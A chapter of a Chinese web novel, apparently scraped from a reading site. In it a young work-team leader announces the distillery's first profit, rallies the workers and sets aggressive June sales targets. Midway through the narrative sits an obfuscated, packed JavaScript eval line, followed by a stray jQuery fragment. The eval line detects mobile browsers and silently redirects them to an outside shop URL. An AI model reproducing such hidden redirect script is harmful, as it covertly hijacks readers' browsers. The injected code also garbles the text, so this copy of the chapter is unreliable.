天刚蒙蒙透亮,招待所房间的窗棂透进薄薄一层晨灰。
叶舟是被脑袋里一阵阵沉闷的钝痛扯醒的。太阳穴发胀发紧,突突地跳着,像是宿醉之后残留的余劲。喉咙干涩得厉害,微微一动,就是一阵燎人的燥意。
他撑着床垫慢慢坐起身,指尖用力揉按着眉心。昨夜那场酒局的画面,一幕幕清晰翻涌上来。
三个人,三瓶茅台。
一顿饭喝到最后,上下级的分寸、初识的拘谨,尽数被酒水冲散。丁小伟喝得面色通红,眼底发亮,早已把他当成自己人,拍着他的肩膀句句笃定,往后市里宣传口,就是他叶舟的后路、第二个靠山。还有那个年轻人黄西青,看着斯文内敛、文质彬彬,眼底藏着的却是实打实的敬佩与向上的干劲。
昨夜酒酣耳热之际,丁小伟当场拍板定论。让黄西青暂且搁置手头一切杂活,这几天全部精力下沉基层,扎进市电视台、市报社,抢先造势、优先宣传,先把安溪酒厂的名头,在全市彻底打响。
指尖抚过微凉的床单,叶舟长长吐出一口浊气。必须尽快回厂。
这一趟市里之行,顺利得有些不真实。一顿饭局搭桥,一份材料铺路,一场老酒绑定,所有之前卡在头上、束手无策的难题,一夜之间尽数消融。
旁人看着,只当是他叶舟运气好、会来事、人情做得到位。但他心里通透,看得比谁都明白。这份顺遂,不靠面子,不靠人情,更不靠谁的暗中提携。说到底,无非是各取所需、利益互换。
丁小伟想政绩、想履历、想晋升筹码。即将退休的钟科长,想要一份收官亮眼的成果,安稳换个体面退休待遇。而濒临绝境、逆势翻盘的安溪酒厂,就是二人此刻最缺、最及时、最贴合的一份枕头政绩。
于他叶舟而言,市级媒体、官媒宣传,是高高在上、求之无门的稀缺资源,难如登天。可对宣传科的人来说,不过是一通电话、一顿饭局的举手之劳。一通电话不行,就两通;一顿饭局不够,就两顿。体制里的门路,从来都是这般简单直白。
想透这一层,叶舟心里反倒格外踏实。人情维系的关系易碎、易变、易翻篇。唯独这种实打实利益捆绑、双向共赢的羁绊,最稳固、最长久。
迅速起身洗漱,楼下随便扒了两口早饭,叶舟直奔汽车站。
两个小时颠簸车程,乡间土路扬尘四起。当远处厂区那斑驳褪色的“安溪酒厂”四个大字撞入眼帘时,叶舟心底,还是忍不住翻起一阵温热的激荡。这里,是他在九十年代,真正站稳脚跟、逆风起家的第一块阵地。
脚刚踏进厂区大门,值守的魏国庆眼神极尖,立马快步迎了上来,脸上满是欣喜恭敬。
“叶组长,您回来了!”
叶舟微微点头,脚步不停,步履沉稳带风,径直往办公区走,边走边沉声吩咐:“立刻通知全厂,半小时后,大礼堂全员开会,无一缺席,谁都不准请假离岗。”指令干脆利落,没有半分拖沓。
半个时辰转瞬即逝。
酒厂大礼堂内,黑压压坐满了全厂职工。长条木椅挤得满满当当,空气里浮动着细碎的低语、忐忑的猜测,还有一丝藏不住的期待。工作组全员端坐主席台,叶舟稳坐正中,抬手试了试麦克风。两声清亮的“喂”声透过音响传开,嗡嗡的扩音声响瞬间压下全场嘈杂。
偌大礼堂,刹那间落针可闻。千百道目光,齐刷刷聚焦在台上这个年轻的工作组组长身上。
叶舟目视全场,声音沉稳有力,穿透每一个角落:“同志们,各位工友。今天紧急召集全员大会,我是来给大家,报一桩天大的喜讯。”
他刻意停顿半秒,目光缓缓扫过台下一张张黝黑朴实、饱经风霜的面孔。这些人,熬过停产停工,熬过欠薪拖薪,熬过人心涣散,熬过厂子最灰暗的至暗时刻。
“咱们安溪酒厂,五月份整月核算完毕。总销售额,五十七万三千元!扣除原料、人工、损耗所有成本,纯利润,十三万元整!”
最后五个字落下,掷地有声。
全场,死一般的寂静。所有人瞬间僵在原地,眼睛骤然瞪大,嘴巴微张,脸上的表情彻底凝固。十三万盈利——这四个字,对他们来说,太久、太遥远、太陌生了。好几年了,常年亏损、常年负债、常年发不出工资、常年人心惶惶,他们早已习惯了亏损,习惯了艰难,习惯了熬日子。谁都不敢想,有一天,这座烂了几年的老厂,能一口气挣回十三万纯利。
死寂仅仅维持两秒。
下一秒,不知道是谁率先嘶吼出声。山呼海啸般的掌声、欢呼声、嘶吼声,瞬间掀翻了整个礼堂!
“好!太好了!”
“咱们挣钱了!真的盈利了!”
“厂子活了!咱们厂子真的活过来了!”
年轻的工人彻底绷不住了。有人猛地从座椅上弹起来,一把扯下头顶的劳保帽,狠狠甩向半空。帽子划过人群,落在过道,他浑然不顾,转身死死抱住身边工友,又蹦又跳,声音嘶哑颤抖。压抑太久的狂喜,彻底爆发。
旁边的中年工人红透了眼眶,攥紧的拳头微微发抖,喉咙哽咽:“拖欠这么久的工资,这下终于有盼头了!”
角落里,几个年迈的老工人,没有嘶吼,没有跳跃。他们只是微微低头,用布满老茧、粗糙开裂的手掌死死捂住脸。肩膀剧烈起伏、颤抖压抑,憋了数年的委屈、心酸、无望,在这一刻全部化作温热的泪水,从指缝里一点点渗出来,无声滑落。守了一辈子的厂,熬了一辈子的盼,今天终于熬出头了。
叶舟立在高台之上,望着台下满场沸腾、悲喜交织的众人,眼底也微微发热。他抬手,缓缓下压。喧闹的声浪一点点平复,但每一张脸上,都写满劫后余生的振奋与光亮。
“但是!”
叶舟话锋陡然一转,语调骤然铿锵拔高,瞬间稳住全场心神:“十三万,只是开端,只是我们起死回生的第一步!下个月,六月份!我给全厂立下死目标、硬任务!月度销售额,冲刺一百万!彻底让安溪酒厂走出泥潭、步入快车道!所有人告诉我,有没有信心!”
“有——!!!”
千人齐声,震天动地。整齐嘹亮的呐喊撞在墙壁上,回荡不休,几乎要掀翻礼堂屋顶。声势,空前鼎盛。
叶舟重重点头,眼底锋芒尽显:“厂子刚回血,要扩张、要增产、要铺市场、要打名气,处处要用钱。这个月十三万纯利,我决定,先给所有人补发足额月薪,每人额外增发三十块专项奖金!剩余全部利润,一律投入生产、备货、宣传扩张!大家多担待,一起拼出未来!”
话音落下,台下再次掀起热浪。
人群里一个年轻工人高声喊道:“叶组长,我们信你!哪怕这个月不要工资,我们也心甘情愿!”
“对!我们信你!跟着叶组长干!”附和声此起彼伏,连绵不绝。
叶舟闻言,忍不住轻笑一声,拿起话筒打趣一句,缓和全场热烈到紧绷的气氛:“那可不行。我叶舟带队干事,不是周扒皮,该大家挣的钱,一分都不会少。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647126|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轰的一声!全场轰然大笑,紧绷的氛围瞬间松弛,暖意漫遍全场。
“全员散会,各岗就位,正常开工!各科科长留下,开短会!”
待普通职工尽数散去,喧闹褪去,礼堂只剩下工作组与各科室骨干。叶舟脸上的笑意彻底收敛,取而代之的是沉稳、严肃、不容置喙的凝重。他坐姿端正,目光锐利,扫过在场所有人:“长话短说,会后我还要去镇里汇报工作。六月百万销售额,看着光鲜,压力空前巨大,容不得半点松懈失误。”
他目光先落向生产、技术、后勤三线。
“王承保、张峰。”技术科长、生产科长两人瞬间挺身坐直,神色肃穆。
“五月份全厂新酒总产量多少?”
张峰立刻应声汇报:“报告叶组长,共计二十六万斤。”
叶舟微微沉吟,快速在心里面盘完账目。二十六万斤的月度产能,放在往常,已经是老厂拼尽全力的新高。可对应下个月百万级的铺货体量、五地市同步铺开的市场,依旧捉襟见肘、容错率太低。
“产能有提升,但还不够。”叶舟语气干脆,判断精准,没有丝毫含糊,“想要稳稳吃下百万销售额,库存必须堆得够厚、备货必须提前拉满。生产科从今日起,满负荷、全天候倒班生产,能超额多产就多产,全力冲库存、保供给!”
他转头看向何家劲,明确权责:“家劲,生产端要人给人、要钱给钱、要设备添设备,全部绿灯通行,绝不卡进度!王师傅,技术端全程跟进质控、稳工艺、保口感,量产加大,品质绝对不能滑坡!徐博后勤科,物资、伙食、车间保障全线兜底,生产不停,保障不断,后方绝不能掉链子!”
几人齐齐颔首,神色凝重,字字应声。
最后,叶舟的目光沉沉落在销售科长商陆身上。被领导视线锁定的瞬间,商陆只觉得头皮一麻,心底莫名一紧,压力骤然压身。
“全场压力,最重落在销售科。”叶舟语调平静,却字字千斤,“六月,我要咱们安溪酒厂的货,铺满周边五个地市,全面铺货、全面开花、全面打开市场!昨天市里对接已定,市委宣传科全力出手,电视台、报社同步造势,官方资源为我们铺路!”
商陆听到这句,双眼瞬间亮透,压在心头的巨石骤然轻了大半——有官媒背书宣传,铺货难度直接减半!
“商陆!”叶舟沉声唤他全名,“销售端人事、活动、渠道、价格,我给你全权自主,放手去干!我只看最终结果——一百万销售额,必须拿下!”这句话说得极狠,带着近乎霸道的压迫感。商陆额头瞬间渗出细密冷汗,心神紧绷到极致。
可下一秒,叶舟抛出的奖励,直接点燃他全身热血:“只要六月圆满完成百万目标。我个人专项奖励,销售总额千分之三,单独归你!其余科室骨干,全员叠加嘉奖!”
千分之三!百万销售额,就是整整三千块!九十年代,普通工人月薪不过百余元。三千块,抵得上普通职工不吃不喝辛苦三年的总收入!这哪里是奖励,这是逆天重赏!
商陆双眼赤红,身体微微发抖,声音都带着颤抖,却无比坚定铿锵:“叶组长!百万任务,我商陆拼死完成!完不成,我绝不离岗!誓死拿下目标!”
叶舟看着他彻底燃起来的模样,抬手重重拍了拍他的臂膀。重压配重赏,方能出精兵。简单交代完最后几项落地细节,叶舟起身收尾:“各司其职,即刻行动。我去镇政府汇报进度。”
一场决定酒厂未来格局的军令会议,利落落幕。